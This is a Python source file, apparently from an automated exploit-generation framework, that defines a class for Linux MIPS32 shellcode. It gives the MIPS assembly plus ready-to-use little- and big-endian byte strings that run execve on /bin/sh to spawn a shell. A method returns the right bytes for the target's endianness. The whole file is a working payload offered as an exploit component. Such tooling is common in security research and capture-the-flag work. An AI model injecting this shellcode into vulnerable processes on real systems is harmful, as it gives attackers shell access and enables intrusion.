
import binascii

from archinfo import Endness

from ..utils import convert_arch
from ..shellcode import Shellcode


class LinuxMIPS32Binsh(Shellcode):

    # TODO: should be 'linux' once CLE can identify linux files
    os = ["unix"]
    arches = ["mipsel", "mipsbe"]
    name = "binsh"
    asm = """
addiu	$a2, $zero, 0x7350
LB:
bltzal	$a2, LB
addiu	$t7, $zero, 0x7350  # nop
slti	$a2, $zero, -1
addiu	$sp, $sp, -0x20
lui	$a1, 0x6962
ori	$a1, $a1, 0x2f2f
sw	$a1, -0x24($sp)
lui	$a1, 0x6873
ori	$a1, $a1, 0x2f6e
sw	$a1, -0x20($sp)
xor	$t7, $t7, $t7
sw	$t7, -0x1c($sp)
addi	$a0, $sp, -0x24
sw	$a0, -0x18($sp)
sw	$a0, -0x18($sp)
sw	$zero, -0x14($sp)
addi	$a1, $sp, -0x18
addiu	$v0, $zero, 0xfab
syscall
"""
    code_le = binascii.unhexlify("50730624ffffd00450730f24ffff0628e0ffbd276269053c2f2fa534dcffa5af7368053c6e2fa534e0ffa5af2678ef01e4ffafafdcffa423e8ffa4afe8ffa4afecffa0afe8ffa523ab0f02240c010101")
    code_be = b"$\x06sP\x04\xd0\xff\xff$\x0fsP(\x06\xff\xff'\xbd\xff\xe0<\x05//4\xa5bi\xaf\xa5\xff\xdc<\x05n/4\xa5sh\xaf\xa5\xff\xe0\x01\xefx&\xaf\xaf\xff\xe4#\xa4\xff\xdc\xaf\xa4\xff\xe8\xaf\xa4\xff\xe8\xaf\xa0\xff\xec#\xa5\xff\xe8$\x02\x0f\xab\x01\x01\x01\x0c"

    def raw(self, arch=None):

        if not arch:
            raise ValueError("Architecture must be specified.")

        the_arch = convert_arch(arch)

        if arch.name != "MIPS32":
            raise TypeError("%s only supports MIPS32." % str(self.__class__))

        if the_arch.memory_endness == Endness.LE:
            return self.code_le
        else:
            return self.code_be
